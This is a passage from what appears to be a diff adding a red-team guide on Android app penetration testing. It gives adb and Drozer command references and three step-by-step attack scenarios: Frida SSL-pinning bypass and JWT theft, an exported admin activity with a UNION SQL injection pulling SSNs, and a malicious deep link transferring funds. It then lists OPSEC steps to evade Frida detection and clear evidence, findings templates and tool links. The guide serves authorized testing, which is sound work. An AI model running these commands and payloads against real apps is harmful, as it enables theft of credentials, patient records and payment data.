com.target.app
|
|
928
|
+
```
|
|
929
|
+
|
|
930
|
+
### adb
|
|
931
|
+
```bash
|
|
932
|
+
adb \
|
|
933
|
+
-s <serial> \ # Target specific device/emulator
|
|
934
|
+
-d \ # USB device only
|
|
935
|
+
-e \ # Emulator only
|
|
936
|
+
|
|
937
|
+
adb shell am start \ # Activity Manager
|
|
938
|
+
-n com.target.app/.MainActivity \ # Component
|
|
939
|
+
-a android.intent.action.VIEW \ # Action
|
|
940
|
+
-d "app://target/reset?token=X" \ # Data URI (deep link)
|
|
941
|
+
-e key value \ # String extra
|
|
942
|
+
-ez key true \ # Boolean extra
|
|
943
|
+
--activity-clear-top # Clear back stack
|
|
944
|
+
|
|
945
|
+
adb shell pm \ # Package Manager
|
|
946
|
+
list packages -f \ # List all packages with APK paths
|
|
947
|
+
list packages -3 \ # Third-party only
|
|
948
|
+
path com.target.app \ # Get APK path
|
|
949
|
+
clear com.target.app \ # Clear app data
|
|
950
|
+
disable com.target.app \ # Disable app
|
|
951
|
+
grant com.target.app android.permission.READ_CONTACTS # Grant permission
|
|
952
|
+
|
|
953
|
+
adb shell dumpsys \ # System service dumps
|
|
954
|
+
activity com.target.app \ # Activity stack info
|
|
955
|
+
package com.target.app \ # Package info (permissions, paths)
|
|
956
|
+
meminfo com.target.app \ # Memory usage
|
|
957
|
+
battery # Battery info
|
|
958
|
+
```
|
|
959
|
+
|
|
960
|
+
### Drozer
|
|
961
|
+
```bash
|
|
962
|
+
# Inside drozer console:
|
|
963
|
+
run app.package.list -f target # Find packages matching name
|
|
964
|
+
run app.package.info -a com.target.app # Package details
|
|
965
|
+
run app.package.attacksurface com.target.app # Exported components count
|
|
966
|
+
run app.activity.info -a com.target.app -u # Unexported activities too
|
|
967
|
+
run app.provider.finduri com.target.app # Discover content provider URIs
|
|
968
|
+
run scanner.misc.readablefiles /data/data/com.target.app # World-readable files
|
|
969
|
+
run scanner.misc.writablefiles /data/data/com.target.app # World-writable files
|
|
970
|
+
run scanner.provider.sqltables --authority com.target.app.provider # SQL table enum
|
|
971
|
+
run scanner.provider.injection -a com.target.app # Auto SQL injection scan
|
|
972
|
+
run scanner.provider.traversal -a com.target.app # Directory traversal scan
|
|
973
|
+
```
|
|
974
|
+
|
|
975
|
+
---
|
|
976
|
+
|
|
977
|
+
## 8. Real-World Attack Scenarios
|
|
978
|
+
|
|
979
|
+
### Scenario 1: Banking App — SSL Pinning Bypass and API Token Theft
|
|
980
|
+
|
|
981
|
+
**Context:** Client bank has a mobile app. Testers need to intercept API traffic to find IDOR vulnerabilities in the backend. The app implements OkHttp certificate pinning.
|
|
982
|
+
|
|
983
|
+
**Steps:**
|
|
984
|
+
|
|
985
|
+
```bash
|
|
986
|
+
# 1. Install app and confirm SSL pinning is blocking Burp
|
|
987
|
+
# Open app with Burp proxy active — you'll see SSL handshake failures in Burp
|
|
988
|
+
|
|
989
|
+
# 2. Identify pinning library
|
|
990
|
+
grep -rn "CertificatePinner\|TrustKit\|TrustManagerBuilder" target_java/
|
|
991
|
+
# Found: okhttp3.CertificatePinner
|
|
992
|
+
|
|
993
|
+
# 3. Apply Frida bypass
|
|
994
|
+
frida -U -f com.bank.app -l ssl_bypass.js --no-pause
|
|
995
|
+
# Console output: [+] OkHttp3 CertificatePinner.check() bypassed for: api.bank.com
|
|
996
|
+
|
|
997
|
+
# 4. Now Burp captures all HTTPS traffic
|
|
998
|
+
# Inspect requests for:
|
|
999
|
+
# - Authentication tokens in headers
|
|
1000
|
+
# - User IDs in URL paths (potential IDOR)
|
|
1001
|
+
# - Sensitive PII in request/response bodies
|
|
1002
|
+
|
|
1003
|
+
# 5. Extract stored token from SharedPreferences
|
|
1004
|
+
adb shell su -c "cat /data/data/com.bank.app/shared_prefs/*.xml" | grep -i "token\|auth"
|
|
1005
|
+
# Found: <string name="auth_token">eyJhbGciOiJSUzI1NiJ9...</string>
|
|
1006
|
+
|
|
1007
|
+
# 6. Decode JWT
|
|
1008
|
+
echo "eyJhbGciOiJSUzI1NiJ9..." | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
|
|
1009
|
+
|
|
1010
|
+
# 7. Test IDOR with captured token against another user ID
|
|
1011
|
+
curl -H "Authorization: Bearer eyJhbGciOiJSUzI1NiJ9..." \
|
|
1012
|
+
https://api.bank.com/v1/accounts/1001/transactions
|
|
1013
|
+
# (replace 1001 with another account number)
|
|
1014
|
+
```
|
|
1015
|
+
|
|
1016
|
+
**Finding:** JWT stored in plaintext SharedPreferences; SSL pinning bypassable with Frida; API vulnerable to IDOR.
|
|
1017
|
+
|
|
1018
|
+
---
|
|
1019
|
+
|
|
1020
|
+
### Scenario 2: Healthcare App — Exported Activity Authentication Bypass
|
|
1021
|
+
|
|
1022
|
+
**Context:** Healthcare patient portal has an admin debug activity that was accidentally left exported in the production build.
|
|
1023
|
+
|
|
1024
|
+
**Steps:**
|
|
1025
|
+
|
|
1026
|
+
```bash
|
|
1027
|
+
# 1. Inspect manifest for exported activities
|
|
1028
|
+
apktool d health.apk -o health_static
|
|
1029
|
+
grep -A10 'exported="true"' health_static/AndroidManifest.xml
|
|
1030
|
+
|
|
1031
|
+
# Found:
|
|
1032
|
+
# <activity android:name=".ui.debug.AdminDebugActivity"
|
|
1033
|
+
# android:exported="true">
|
|
1034
|
+
|
|
1035
|
+
# 2. Launch directly without authentication
|
|
1036
|
+
adb shell am start -n com.health.app/.ui.debug.AdminDebugActivity
|
|
1037
|
+
# App opens AdminDebugActivity without requiring login
|
|
1038
|
+
|
|
1039
|
+
# 3. Or via Drozer for more control
|
|
1040
|
+
drozer console connect
|
|
1041
|
+
run app.activity.info -a com.health.app
|
|
1042
|
+
run app.activity.start --component com.health.app com.health.app.ui.debug.AdminDebugActivity
|
|
1043
|
+
|
|
1044
|
+
# 4. AdminDebugActivity exposes:
|
|
1045
|
+
# - All patient records (SQLite dump button)
|
|
1046
|
+
# - User account management
|
|
1047
|
+
# - Disable audit logging toggle
|
|
1048
|
+
|
|
1049
|
+
# 5. Also check for exported content providers
|
|
1050
|
+
run app.provider.info -a com.health.app
|
|
1051
|
+
run app.provider.query content://com.health.app.provider/patients
|
|
1052
|
+
# Returns all patient records without authentication
|
|
1053
|
+
|
|
1054
|
+
# 6. Test for SQL injection in content provider
|
|
1055
|
+
run scanner.provider.injection -a com.health.app
|
|
1056
|
+
# Vulnerable parameter found: 'id' field
|
|
1057
|
+
|
|
1058
|
+
run app.provider.query \
|
|
1059
|
+
content://com.health.app.provider/patients \
|
|
1060
|
+
--selection "1=1 UNION SELECT name,ssn,dob,insurance_id FROM patients--"
|
|
1061
|
+
```
|
|
1062
|
+
|
|
1063
|
+
**Finding:** Admin activity exported without authentication gate; content provider allows unauthenticated data access; SQL injection in provider selection parameter.
|
|
1064
|
+
|
|
1065
|
+
---
|
|
1066
|
+
|
|
1067
|
+
### Scenario 3: E-Commerce App — Insecure Data Storage and Deep Link Takeover
|
|
1068
|
+
|
|
1069
|
+
**Context:** E-commerce app stores session data insecurely and has an unvalidated deep link that can transfer funds.
|
|
1070
|
+
|
|
1071
|
+
**Steps:**
|
|
1072
|
+
|
|
1073
|
+
```bash
|
|
1074
|
+
# 1. Static analysis — find deep link handlers
|
|
1075
|
+
grep -rn "getIntent\|getAction\|getData\|parseUri" target_java/ | grep -v "android.content.Intent"
|
|
1076
|
+
grep -rn "scheme\|host\|pathPrefix" target_static/AndroidManifest.xml
|
|
1077
|
+
|
|
1078
|
+
# Found deep link: myapp://checkout/transfer?to=USER&amount=AMT
|
|
1079
|
+
|
|
1080
|
+
# 2. Craft malicious deep link
|
|
1081
|
+
adb shell am start \
|
|
1082
|
+
-a android.intent.action.VIEW \
|
|
1083
|
+
-d "myapp://checkout/transfer?to=attacker_account&amount=9999" \
|
|
1084
|
+
com.shop.app
|
|
1085
|
+
|
|
1086
|
+
# App initiates transfer without re-authentication!
|
|
1087
|
+
|
|
1088
|
+
# 3. Check data storage
|
|
1089
|
+
adb shell su -c "find /data/data/com.shop.app/ -type f" | head -30
|
|
1090
|
+
|
|
1091
|
+
# Pull database
|
|
1092
|
+
adb shell su -c "cat /data/data/com.shop.app/databases/shop.db" > shop.db
|
|
1093
|
+
sqlite3 shop.db ".tables"
|
|
1094
|
+
# Tables: users, sessions, orders, payment_methods
|
|
1095
|
+
|
|
1096
|
+
sqlite3 shop.db "SELECT * FROM payment_methods;"
|
|
1097
|
+
# Plaintext credit card numbers stored locally!
|
|
1098
|
+
|
|
1099
|
+
sqlite3 shop.db "SELECT * FROM sessions;"
|
|
1100
|
+
# Session tokens with no expiry
|
|
1101
|
+
|
|
1102
|
+
# 4. Check external storage (no root needed)
|
|
1103
|
+
adb shell ls /sdcard/Android/data/com.shop.app/files/
|
|
1104
|
+
# Found: receipts/, cache/images/, export_2024_01_01.csv
|
|
1105
|
+
|
|
1106
|
+
adb pull /sdcard/Android/data/com.shop.app/files/export_2024_01_01.csv
|
|
1107
|
+
# CSV contains: order history with full payment card details
|
|
1108
|
+
|
|
1109
|
+
# 5. Exploit ADB backup if allowBackup=true
|
|
1110
|
+
grep "allowBackup" target_static/AndroidManifest.xml
|
|
1111
|
+
# android:allowBackup="true"
|
|
1112
|
+
|
|
1113
|
+
adb backup -f backup.ab -noapk com.shop.app
|
|
1114
|
+
# Decrypt backup
|
|
1115
|
+
dd if=backup.ab bs=1 skip=24 | \
|
|
1116
|
+
python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" \
|
|
1117
|
+
> backup.tar
|
|
1118
|
+
tar xvf backup.tar
|
|
1119
|
+
# Full app data including databases and preferences extracted without root
|
|
1120
|
+
```
|
|
1121
|
+
|
|
1122
|
+
**Finding:** Unvalidated deep links allow funds transfer; plaintext credit card storage in SQLite; sensitive data on external storage; ADB backup exposes all data without root access.
|
|
1123
|
+
|
|
1124
|
+
---
|
|
1125
|
+
|
|
1126
|
+
## 9. Detection and OPSEC Considerations
|
|
1127
|
+
|
|
1128
|
+
### What Defenders May Monitor
|
|
1129
|
+
|
|
1130
|
+
- **Frida Detection:** Many financial and gaming apps use Frida detection:
|
|
1131
|
+
- Check `/proc/<pid>/maps` for `frida` strings
|
|
1132
|
+
- Port scan for frida-server (default 27042)
|
|
1133
|
+
- Check loaded library names for `frida-agent`
|
|
1134
|
+
- Anti-debugging via `ptrace` self-attachment
|
|
1135
|
+
|
|
1136
|
+
- **Root Detection Evasion Artifacts:**
|
|
1137
|
+
- `su` binary in PATH
|
|
1138
|
+
- Magisk mount points in `/proc/mounts`
|
|
1139
|
+
- Modified `BUILD.PROP` values
|
|
1140
|
+
|
|
1141
|
+
- **Network Anomalies:**
|
|
1142
|
+
- Non-certificate-pinned TLS sessions
|
|
1143
|
+
- Burp CA fingerprint in certificate chain
|
|
1144
|
+
- Unusual proxy settings via `adb shell settings`
|
|
1145
|
+
|
|
1146
|
+
### OPSEC Measures
|
|
1147
|
+
|
|
1148
|
+
```bash
|
|
1149
|
+
# Use a different Frida server port to evade default port scans
|
|
1150
|
+
adb shell /data/local/tmp/frida-server -l 0.0.0.0:12345 &
|
|
1151
|
+
frida -U --host 127.0.0.1:12345 com.target.app
|
|
1152
|
+
|
|
1153
|
+
# Rename frida-server binary to evade name-based detection
|
|
1154
|
+
adb push frida-server /data/local/tmp/com.android.systools
|
|
1155
|
+
adb shell chmod 755 /data/local/tmp/com.android.systools
|
|
1156
|
+
adb shell /data/local/tmp/com.android.systools &
|
|
1157
|
+
|
|
1158
|
+
# Use Objection with custom gadget (instead of standalone server)
|
|
1159
|
+
# Patch APK to embed frida-gadget.so — no frida-server needed, evades port checks
|
|
1160
|
+
# See: https://github.com/sensepost/objection/wiki/Patching-APKs
|
|
1161
|
+
|
|
1162
|
+
# Forward traffic over ADB (no proxy settings on device — evades proxy detection)
|
|
1163
|
+
adb forward tcp:8080 tcp:8080
|
|
1164
|
+
# Then configure Burp to listen on 127.0.0.1:8080
|
|
1165
|
+
|
|
1166
|
+
# Use r2frida for lower-profile instrumentation
|
|
1167
|
+
# https://github.com/nowsecure/r2frida
|
|
1168
|
+
|
|
1169
|
+
# Clear evidence after engagement
|
|
1170
|
+
adb shell rm /data/local/tmp/frida-server
|
|
1171
|
+
adb shell settings put global http_proxy :0
|
|
1172
|
+
adb shell pm clear com.target.app # Reset app state if needed
|
|
1173
|
+
```
|
|
1174
|
+
|
|
1175
|
+
### Avoiding App Crashes During Testing
|
|
1176
|
+
|
|
1177
|
+
```bash
|
|
1178
|
+
# Always test hooks on a clone/backup first
|
|
1179
|
+
# Check app version before hooks (API-level differences break scripts)
|
|
1180
|
+
adb shell dumpsys package com.target.app | grep versionName
|
|
1181
|
+
|
|
1182
|
+
# Use --no-pause to avoid timing-related crashes on spawn
|
|
1183
|
+
frida -U -f com.target.app -l script.js --no-pause
|
|
1184
|
+
|
|
1185
|
+
# If app crashes immediately, try attach instead of spawn
|
|
1186
|
+
# Start app manually, then:
|
|
1187
|
+
frida -U -n com.target.app -l script.js
|
|
1188
|
+
```
|
|
1189
|
+
|
|
1190
|
+
---
|
|
1191
|
+
|
|
1192
|
+
## 10. Output and Documentation
|
|
1193
|
+
|
|
1194
|
+
### Evidence Collection Template
|
|
1195
|
+
|
|
1196
|
+
```bash
|
|
1197
|
+
#!/bin/bash
|
|
1198
|
+
# Run at start of engagement to collect baseline evidence
|
|
1199
|
+
TARGET="com.target.app"
|
|
1200
|
+
OUTPUT_DIR="./evidence_$(date +%Y%m%d_%H%M%S)"
|
|
1201
|
+
mkdir -p "$OUTPUT_DIR"
|
|
1202
|
+
|
|
1203
|
+
# App info
|
|
1204
|
+
adb shell dumpsys package "$TARGET" > "$OUTPUT_DIR/package_info.txt"
|
|
1205
|
+
adb shell pm path "$TARGET" > "$OUTPUT_DIR/apk_path.txt"
|
|
1206
|
+
|
|
1207
|
+
# Pull APK
|
|
1208
|
+
APK_PATH=$(adb shell pm path "$TARGET" | sed 's/package://')
|
|
1209
|
+
adb pull "$APK_PATH" "$OUTPUT_DIR/target.apk"
|
|
1210
|
+
|
|
1211
|
+
# Screenshots before/after exploits
|
|
1212
|
+
adb shell screencap /sdcard/before.png && adb pull /sdcard/before.png "$OUTPUT_DIR/"
|
|
1213
|
+
|
|
1214
|
+
# Logcat capture (run in background during testing)
|
|
1215
|
+
adb logcat -v time > "$OUTPUT_DIR/logcat.txt" &
|
|
1216
|
+
LOGCAT_PID=$!
|
|
1217
|
+
|
|
1218
|
+
# Network capture placeholder (use tcpdump on device or Burp export)
|
|
1219
|
+
|
|
1220
|
+
# Cleanup
|
|
1221
|
+
kill $LOGCAT_PID
|
|
1222
|
+
echo "Evidence collected in: $OUTPUT_DIR"
|
|
1223
|
+
```
|
|
1224
|
+
|
|
1225
|
+
### MASVS Checklist Mapping
|
|
1226
|
+
|
|
1227
|
+
| MASVS ID | Control | Test Method |
|
|
1228
|
+
|---|---|---|
|
|
1229
|
+
| MASVS-STORAGE-1 | No sensitive data in local storage | SQLite/SharedPrefs extraction, file dump |
|
|
1230
|
+
| MASVS-STORAGE-2 | No sensitive data in cloud storage | Network traffic analysis |
|
|
1231
|
+
| MASVS-CRYPTO-1 | Strong cryptography | Grep for weak algos (MD5, DES, ECB) |
|
|
1232
|
+
| MASVS-AUTH-1 | Authentication at remote endpoint | Intercept with Burp, test token replay |
|
|
1233
|
+
| MASVS-NETWORK-1 | TLS for all network communication | Proxy inspection, cleartext traffic check |
|
|
1234
|
+
| MASVS-NETWORK-2 | TLS settings meet best practices | SSL Labs scan of endpoints |
|
|
1235
|
+
| MASVS-PLATFORM-1 | WebView restricted appropriately | jadx grep for addJavascriptInterface |
|
|
1236
|
+
| MASVS-PLATFORM-2 | Exported component validation | Drozer component enumeration |
|
|
1237
|
+
| MASVS-CODE-1 | No debug code in release | BuildConfig.DEBUG grep, apktool manifest |
|
|
1238
|
+
| MASVS-CODE-2 | Security provider updated | API level check, provider version |
|
|
1239
|
+
| MASVS-RESILIENCE-1 | Root detection present | Rooted device functional test |
|
|
1240
|
+
| MASVS-RESILIENCE-3 | Anti-debugging present | Frida attach test |
|
|
1241
|
+
|
|
1242
|
+
### Findings Report Template
|
|
1243
|
+
|
|
1244
|
+
```
|
|
1245
|
+
Finding: [SEVERITY] - [TITLE]
|
|
1246
|
+
MASVS Reference: MASVS-STORAGE-1
|
|
1247
|
+
CVSS Score: 7.5 (High)
|
|
1248
|
+
CWE: CWE-312 - Cleartext Storage of Sensitive Information
|
|
1249
|
+
|
|
1250
|
+
Description:
|
|
1251
|
+
The application stores [authentication tokens / credentials / PII] in plaintext
|
|
1252
|
+
within [SharedPreferences / SQLite database / external storage] at path:
|
|
1253
|
+
/data/data/com.target.app/[path]
|
|
1254
|
+
|
|
1255
|
+
Steps to Reproduce:
|
|
1256
|
+
1. Root Android device
|
|
1257
|
+
2. adb shell su -c "cat /data/data/com.target.app/shared_prefs/prefs.xml"
|
|
1258
|
+
3. Observe plaintext [token/password] in output
|
|
1259
|
+
|
|
1260
|
+
Evidence:
|
|
1261
|
+
[Attach screenshot/logcat output showing sensitive data]
|
|
1262
|
+
|
|
1263
|
+
Impact:
|
|
1264
|
+
An attacker with physical access to the device (or malware with root privileges)
|
|
1265
|
+
can extract [credential/token] and use it to authenticate as the victim.
|
|
1266
|
+
|
|
1267
|
+
Recommendation:
|
|
1268
|
+
- Use Android Keystore for cryptographic key storage
|
|
1269
|
+
- Store sensitive data encrypted using AES-256-GCM with Keystore-backed keys
|
|
1270
|
+
- Avoid storing long-lived tokens locally; use short-lived tokens with refresh
|
|
1271
|
+
```
|
|
1272
|
+
|
|
1273
|
+
---
|
|
1274
|
+
|
|
1275
|
+
## 11. Resources with GitHub URLs
|
|
1276
|
+
|
|
1277
|
+
### Primary Tool Repositories
|
|
1278
|
+
|
|
1279
|
+
- **Frida:** https://github.com/frida/frida
|
|
1280
|
+
- **Objection:** https://github.com/sensepost/objection
|
|
1281
|
+
- **apktool:** https://github.com/iBotPeaches/Apktool
|
|
1282
|
+
- **jadx:** https://github.com/skylot/jadx
|
|
1283
|
+
- **Drozer:** https://github.com/WithSecureLabs/drozer
|
|
1284
|
+
- **MobSF:** https://github.com/MobSF/Mobile-Security-Framework-MobSF
|
|
1285
|
+
- **apkeep:** https://github.com/EFForg/apkeep
|
|
1286
|
+
|
|
1287
|
+
### Frida Script Collections
|
|
1288
|
+
|
|
1289
|
+
- **Frida CodeShare:** https://codeshare.frida.re/ (community hooks)
|
|
1290
|
+
- **Universal SSL Bypass (by pcipolloni):** https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/
|
|
1291
|
+
- **fridump:** https://github.com/Nightbringer21/fridump (memory dumper)
|
|
1292
|
+
- **Frida Android Scripts collection:** https://github.com/interference-security/frida-scripts
|
|
1293
|
+
|
|
1294
|
+
### Bypass Scripts and Techniques
|
|
1295
|
+
|
|
1296
|
+
- **objection SSL pinning bypass:** https://github.com/sensepost/objection/blob/master/objection/console/helpfiles/android.sslpinning.disable.txt
|
|
1297
|
+
- **apk-mitm (automatic SSL bypass patcher):** https://github.com/shroudedcode/apk-mitm
|
|
1298
|
+
- **TrustMeAlready (Xposed module):** https://github.com/ViRb3/TrustMeAlready
|
|
1299
|
+
- **SSLUnpinning (Xposed module):** https://github.com/ac-pm/SSLUnpinning_Xposed
|
|
1300
|
+
|
|
1301
|
+
### Analysis Frameworks
|
|
1302
|
+
|
|
1303
|
+
- **r2frida (radare2 + frida):** https://github.com/nowsecure/r2frida
|
|
1304
|
+
- **QARK (static analysis):** https://github.com/linkedin/qark
|
|
1305
|
+
- **AndroBugs:** https://github.com/AndroBugs/AndroBugs_Framework
|
|
1306
|
+
- **apkleaks (secret finder):** https://github.com/dwisiswant0/apkleaks
|
|
1307
|
+
- **truffleHog (secret scanner):** https://github.com/trufflesecurity/trufflehog
|
|
1308
|
+
|
|
1309
|
+
### OWASP References
|
|
1310
|
+
|
|
1311
|
+
- **OWASP MASVS:** https://github.com/OWASP/owasp-masvs
|
|
1312
|
+
- **OWASP MSTG (Testing Guide):** https://github.com/OWASP/owasp-mstg
|
|
1313
|
+
- **OWASP Mobile Top 10:** https://owasp.org/www-project-mobile-top-10/
|
|
1314
|
+
|
|
1315
|
+
### Learning and Reference
|
|
1316
|
+
|
|
1317
|
+
- **Android Security Awesome list:** https://github.com/ashishb/android-security-awesome
|
|
1318
|
+
- **Android Hacking Cheatsheet:** https://github.com/randorisec/MobileHackingCheatSheet
|
|
1319
|
+
- **Maddie Stone's Android Reversing:** https://github.com/maddiestone/AndroidAppRE
|
|
1320
|
+
- **Frida Handbook:** https://learnfrida.info/
|
|
1321
|
+
|
|
1322
|
+
### Wordlists and Payloads
|
|
1323
|
+
|
|
1324
|
+
- **Android-specific payloads:** https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Android
|
|
1325
|
+
- **SecLists Mobile section:** https://github.com/danielmiessler/SecLists
|
|
1326
|
+
|
|
1327
|
+
---
|
|
1328
|
+
|
|
1329
|
+
*Skill maintained for Red Team operators. All techniques assume proper written authorization from the target organization. Use only in scoped engagements.*
|